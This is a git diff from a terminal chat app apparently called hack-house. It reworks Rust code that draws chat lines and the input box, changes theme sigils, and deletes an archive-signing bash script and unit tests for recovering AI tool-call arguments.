theme.me
@@ -742,7 +653,7 @@ fn fmt_line<'a>(l: &'a ChatLine, app: &App, theme: &Theme) -> Vec<Line<'a>> {
// Author's current badge inline, so a message's authority is legible right
// in the transcript — not only in the clergy panel.
let badges = role_badges(app, &l.username, theme);
let head: Vec<Span> = vec![
Line::from(vec![
Span::styled(format!("{} ", l.ts), Style::default().fg(theme.dim)),
Span::styled(format!("{badges} "), Style::default().fg(theme.dim)),
Span::styled(
@@ -750,34 +661,14 @@ fn fmt_line<'a>(l: &'a ChatLine, app: &App, theme: &Theme) -> Vec<Line<'a>> {
Style::default().fg(name_color).add_modifier(Modifier::BOLD),
),
Span::styled(": ", Style::default().fg(theme.dim)),
];
let mut segs = l.text.split('\n');
let first = segs.next().unwrap_or("");
let mut spans = head;
spans.push(Span::styled(first.to_string(), Style::default().fg(theme.title)));
let mut out = vec![Line::from(spans)];
// Continuation rows indent under the message body so a multi-line message
// reads as one coherent block under its author.
let indent = " ".repeat(
l.ts.chars().count() + 1 + badges.chars().count() + 1 + l.username.chars().count() + 2,
);
for seg in segs {
out.push(Line::from(Span::styled(
format!("{indent}{seg}"),
Style::default().fg(theme.title),
)));
}
out
Span::styled(l.text.as_str(), Style::default().fg(theme.title)),
])
}
fn draw_chat(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &Theme) {
let inner_h = area.height.saturating_sub(2) as usize; // rows inside the border
let text_w = area.width.saturating_sub(2).max(1); // wrap width inside the border
let mut lines: Vec<Line> = app
.lines
.iter()
.flat_map(|l| fmt_line(l, app, theme))
.collect();
let mut lines: Vec<Line> = app.lines.iter().map(|l| fmt_line(l, app, theme)).collect();
// Live preview bubbles for agents currently streaming a reply, rendered
// below the committed history. Dim + italic so they read as in-progress;
@@ -829,7 +720,7 @@ fn draw_chat(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &Them
f.render_widget(chat, area);
}
/// Glyph for a single role. The host sigil is theme-dependent (✝ for crypt, †
/// Glyph for a single role. The host sigil is theme-dependent (✝ for crypt, ⛧
/// for the default), the rest are fixed.
fn role_glyph(role: Role, theme: &Theme) -> &str {
match role {
@@ -840,7 +731,7 @@ fn role_glyph(role: Role, theme: &Theme) -> &str {
}
}
/// The stacked badge string for `name` — e.g. `†⚡◆` for a host who summoned a
/// The stacked badge string for `name` — e.g. `⛧⚡◆` for a host who summoned a
/// sandbox and can drive, or a lone `•` for a plain member. Single source of
/// truth shared by the roster and the chat author prefix so both always agree
/// with each other and with what the broker enforces.
@@ -891,58 +782,29 @@ fn ai_thinking_title(app: &App) -> String {
}
fn draw_input(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &Theme) {
use crate::app::Pane;
// Char-wrap "> " + the message at the inner width so a long line flows into
// the (resizable) extra height. We wrap ourselves — rather than ratatui's
// word-wrap — so the cursor lands exactly where the text breaks.
let inner = area.width.saturating_sub(2).max(1) as usize;
let visible = area.height.saturating_sub(2).max(1) as usize;
let prompt = "> ";
let full: Vec<char> = prompt.chars().chain(app.input.chars()).collect();
let mut wrapped: Vec<Line> = Vec::new();
if full.is_empty() {
wrapped.push(Line::from(""));
} else {
for (li, chunk) in full.chunks(inner).enumerate() {
let s: String = chunk.iter().collect();
if li == 0 {
// Split the accented "> " prompt off the first visual line.
let split = prompt.len().min(s.len());
let (pfx, rest) = s.split_at(split);
wrapped.push(Line::from(vec![
Span::styled(pfx.to_string(), Style::default().fg(theme.accent)),
Span::styled(rest.to_string(), Style::default().fg(theme.input)),
]));
} else {
wrapped.push(Line::from(Span::styled(s, Style::default().fg(theme.input))));
}
}
}
// Keep the tail (where you're typing) in view when it overflows the box.
let skip = wrapped.len().saturating_sub(visible);
let shown: Vec<Line> = wrapped.into_iter().skip(skip).collect();
// Focused for resize? Accent border + ✎ marker, matching the body panes.
let (decor_style, decor_mark) = edit_decor(app, Pane::Input, theme, theme.border);
let border_style = if app.focused_pane == Some(Pane::Input) {
decor_style
} else if app.pending_offer.is_some() {
Style::default().fg(theme.accent)
} else {
Style::default().fg(theme.border)
};
let title_text = match &app.pending_offer {
Some(o) => format!(" {} incoming: {} — /accept or /reject ", theme.sigil, o.name),
None if app.driving => format!(" {} DRIVING the shell — Esc to release ", theme.sigil),
None if !app.ai_typing.is_empty() => ai_thinking_title(app),
None => format!("{decor_mark} message · enter send · /drive for shell · ctrl-q quit "),
};
let input = Paragraph::new(shown).block(
let input = Paragraph::new(Line::from(vec![
Span::styled("> ", Style::default().fg(theme.accent)),
Span::styled(app.input.as_str(), Style::default().fg(theme.input)),
]))
.block(
Block::bordered()
.border_style(border_style)
.border_style(Style::default().fg(if app.pending_offer.is_some() {
theme.accent
} else {
theme.border
}))
.title(Span::styled(
title_text,
match &app.pending_offer {
Some(o) => format!(
" {} incoming: {} — /accept or /reject ",
theme.sigil, o.name
),
None if app.driving => {
format!(" {} DRIVING the shell — Esc to release ", theme.sigil)
}
None if !app.ai_typing.is_empty() => ai_thinking_title(app),
None => " message · enter send · /drive for shell · ctrl-q quit ".to_string(),
},
Style::default().fg(if app.ai_typing.is_empty() {
theme.title
} else {
@@ -952,16 +814,10 @@ fn draw_input(f: &mut Frame, area: ratatui::layout::Rect, app: &App, theme: &The
);
f.render_widget(input, area);
// Cursor sits after the last typed char; its wrapped line/col is exact since
// we wrapped at `inner` ourselves. Hidden if it would land past the box tail.
let end = full.len();
let cline = end / inner;
let ccol = end % inner;
if cline >= skip {
let cx = area.x + 1 + ccol as u16;
let cy = area.y + 1 + (cline - skip) as u16;
if cy < area.y + area.height.saturating_sub(1) {
f.set_cursor_position(Position::new(cx, cy));
}
// Cursor after the "> " prompt + current input.
let cx = area.x + 3 + app.input.chars().count() as u16;
let cy = area.y + 1;
if cx < area.x + area.width.saturating_sub(1) {
f.set_cursor_position(Position::new(cx, cy));
}
}
hh/themes/blue-orange.toml
-13
View File
@@ -1,13 +0,0 @@
name = "blue-orange"
border = "#425C68"
title = "#FB8047"
accent = "#FB8047"
dim = "#5F7883"
me = "#ECD0C4"
other = "#91C2D9"
system = "#80A9BC"
input = "#ECD0C4"
roster_me = "#FB8047"
bg = "#344E5B"
roster_width = 22
sigil = "✟"
hh/themes/church.toml
+2 -2
View File
@@ -2,7 +2,7 @@
name = "church"
border = "#19b3ff" # cyan window-chrome
title = "#7df9ff" # bright cyan
accent = "#39ff14" # acid green — † glyphs, prompt
accent = "#39ff14" # acid green — ⛧ glyphs, prompt
dim = "#475a7a" # muted slate-blue
me = "#39ff14" # your messages
other = "#56c8ff" # others' messages (soft cyan)
@@ -10,4 +10,4 @@ system = "#b46cff" # system / occult lines (purple)
input = "#39ff14"
roster_me = "#ff39c0" # you / owner (hot magenta)
roster_width = 22
sigil = "†" # dagger
sigil = "⛧" # inverted pentagram
hh/themes/pink-red-gray-0.toml
-13
View File
@@ -1,13 +0,0 @@
name = "pink-red-gray-0"
border = "#815F73"
title = "#DF1A2D"
accent = "#DF1A2D"
dim = "#A67C95"
me = "#FCDCDF"
other = "#D198BA"
system = "#BB7BA1"
input = "#FCDCDF"
roster_me = "#DF1A2D"
bg = "#622B4C"
roster_width = 22
sigil = "†"
hh/tools/esa/esa_build.sh
-103
View File
@@ -1,103 +0,0 @@
#!/usr/bin/env bash
# hack-house /export-signed — non-interactive Encrypt-Share-Attribution builder.
#
# Faithful to Princess_Pi's ESA (Church of Malware codex,
# https://git.thecoven.info/PrincessPi/Encrypt-Share-Attribution): a fresh
# per-round Ed25519 key signs an inner 7z of your files; SHA-512 checksums are
# taken over the outer layer; an optional revealable attribution commitment
# `SHA-512(passphrase || contents.7z)` is stored; and self-contained verify
# scripts ride along so anyone with bash + 7z + ssh-keygen can check it — no
# hack-house required.
#
# Usage: esa_build.sh --src <dir> [--attrib-pass <passphrase>] [--random] [--encrypt <passphrase>]
# On success, prints the path to the produced verifiable_archive_<ts>.7z on stdout.
set -o nounset -o pipefail
SRC=""; ATTRIB=""; DO_RANDOM=0; ENCPASS=""
while [[ $# -gt 0 ]]; do
case "$1" in
--src) SRC="${2:-}"; shift 2;;
--attrib-pass) ATTRIB="${2:-}"; shift 2;;
--random) DO_RANDOM=1; shift;;
--encrypt) ENCPASS="${2:-}"; shift 2;;
*) echo "unknown arg: $1" >&2; exit 2;;
esac
done
[[ -n "$SRC" && -d "$SRC" ]] || { echo "need --src <existing directory>" >&2; exit 2; }
for dep in 7z ssh-keygen sha512sum shred openssl; do
command -v "$dep" >/dev/null 2>&1 || { echo "missing required tool: $dep" >&2; exit 3; }
done
ts=$(date +%s)
work=$(mktemp -d "${TMPDIR:-/tmp}/hh-esa-${ts}-XXXXXX") || { echo "mktemp failed" >&2; exit 1; }
out="$work/out"
key="$work/.private_ed25519_${ts}"
tag="file-integrity"
mkdir -p "$out/contents"
# Best-effort shred of the ephemeral private key on any exit.
cleanup() { [[ -f "$key" ]] && shred -uz "$key" 2>/dev/null; rm -f "$key.pub" 2>/dev/null; rm -rf "$work" 2>/dev/null; }
trap cleanup EXIT
die() { echo "$1" >&2; exit 1; }
# 1. Fresh per-round Ed25519 signing key; ship the pubkey as an allowed-signers file.
ssh-keygen -t ed25519 -C anonymous -N '' -f "$key" >/dev/null 2>&1 || die "ssh-keygen failed"
echo "anonymous namespaces=\"$tag\" $(cat "$key.pub")" > "$out/anonymous_signer"
# 2. Stage the payload; optionally inject 32 random bytes (deniability — breaks
# correlation of otherwise-identical archives / signatures).
cp -a "$SRC/." "$out/contents/" 2>/dev/null || cp -r "$SRC/." "$out/contents/" || die "copy source failed"
[[ $DO_RANDOM -eq 1 ]] && openssl rand -out "$out/contents/.entropy" 32 >/dev/null 2>&1
# 3. Compress the inner volume and drop the plaintext tree.
7z a "$out/contents.7z" "$out/contents" >/dev/null 2>&1 || die "7z (inner) failed"
rm -rf "$out/contents"
# 4. Sign the inner archive.
ssh-keygen -Y sign -f "$key" -n "$tag" "$out/contents.7z" >/dev/null 2>&1 || die "signing failed"
# 5. Optional attribution commitment: SHA-512(passphrase || contents.7z).
if [[ -n "$ATTRIB" ]]; then
{ printf '%s' "$ATTRIB"; cat "$out/contents.7z"; } | sha512sum | awk '{print $1}' \
> "$out/attribution-checksum.sha512" || die "attribution commitment failed"
fi
# 6. Ship self-contained verifiers.
cat > "$out/verify-everything.sh" <<'EOF'
#!/bin/bash
# Verify this ESA archive: inner integrity, checksums, and the Ed25519 signature.
set -e
echo -n "contents.7z integrity ... "; 7z t contents.7z >/dev/null 2>&1 && echo OK
echo -n "sha512 checksums ... "; sha512sum -c checksums.sha512 >/dev/null 2>&1 && echo OK
echo -n "ed25519 signature ... "; ssh-keygen -Y verify -f ./anonymous_signer -I anonymous -n file-integrity -s contents.7z.sig < contents.7z >/dev/null 2>&1 && echo OK
echo "all checks passed."
EOF
cat > "$out/test_validate_passphrase.sh" <<'EOF'
#!/bin/bash
# Prove authorship by revealing the attribution passphrase for this archive.
set -e
[ -f attribution-checksum.sha512 ] || { echo "no attribution commitment in this archive"; exit 1; }
want=$(cat attribution-checksum.sha512)
pass="${1:-}"; [ -z "$pass" ] && { read -rsp 'attribution passphrase: ' pass; echo; }
got=$( ( printf '%s' "$pass"; cat contents.7z ) | sha512sum | awk '{print $1}')
[ "$want" = "$got" ] && echo "attribution OK — passphrase matches commitment" || { echo "attribution FAIL"; exit 1; }
EOF
chmod +x "$out/verify-everything.sh" "$out/test_validate_passphrase.sh"
# 7. SHA-512 over every outer file (excluding the checksum file itself).
( cd "$out" && files=$(ls -1 | grep -vx 'checksums.sha512'); sha512sum $files > checksums.sha512 ) \
|| die "checksum generation failed"
# 8. Package the outer layer (optionally encrypted, filenames included).
dest_dir="$(cd "$(dirname "$SRC")" && pwd)"
final="$dest_dir/verifiable_archive_${ts}.7z"
if [[ -n "$ENCPASS" ]]; then
( cd "$work" && 7z a "$final" out -p"$ENCPASS" -mhe=on >/dev/null 2>&1 ) || die "7z (outer, encrypted) failed"
else
( cd "$work" && 7z a "$final" out >/dev/null 2>&1 ) || die "7z (outer) failed"
fi
echo "$final"
tests/test_agent_providers.py
-48
View File
@@ -1,48 +0,0 @@
"""Unit tests for OllamaProvider tool-call argument recovery.
Weak/quantized local models intermittently emit a parameter's JSON *schema*
fragment as its *value* (e.g. run_shell(command={'type':'string',
'description':'bash ./add.py'})). Every native tool arg is a plain string, so a
dict-valued arg is always this leak. These tests pin the recovery so the harness
never runs a stringified schema dict as a command again.
"""
from cmd_chat.agent.providers import OllamaProvider as P
def test_unleak_recovers_command_from_schema_fragment():
assert P._unleak_str({"type": "string", "description": "bash ./add.py"}) == "bash ./add.py"
def test_unleak_prefers_value_keys_over_description():
assert P._unleak_str({"description": "help text", "value": "ls -la"}) == "ls -la"
assert P._unleak_str({"description": "help text", "default": "echo hi"}) == "echo hi"
def test_unleak_passes_plain_strings_through():
assert P._unleak_str("mkdir data") == "mkdir data"
def test_unleak_single_string_value_fallback():
assert P._unleak_str({"foo": "only-one"}) == "only-one"
def test_unleak_ignores_bare_schema_meta():
# {'type':'string'} has no real value — must NOT recover the type name.
assert P._unleak_str({"type": "string"}) == ""
assert P._unleak_str({}) == ""
def test_clean_args_flattens_leaked_arg_keeps_real_ones():
out = P._clean_args({"command": {"type": "string", "description": "bash ./add.py"}, "x": "keep"})
assert out == {"command": "bash ./add.py", "x": "keep"}
def test_clean_args_passes_non_dict_through():
assert P._clean_args("passthrough") == "passthrough"
def test_coerce_call_cleans_recovered_arguments():
# The text-recovery path must also unleak args.
obj = {"name": "run_shell", "arguments": {"command": {"type": "string", "description": "ls"}}}
call = P._coerce_call(obj, valid_names={"run_shell"})
assert call == {"name": "run_shell", "arguments": {"command": "ls"}}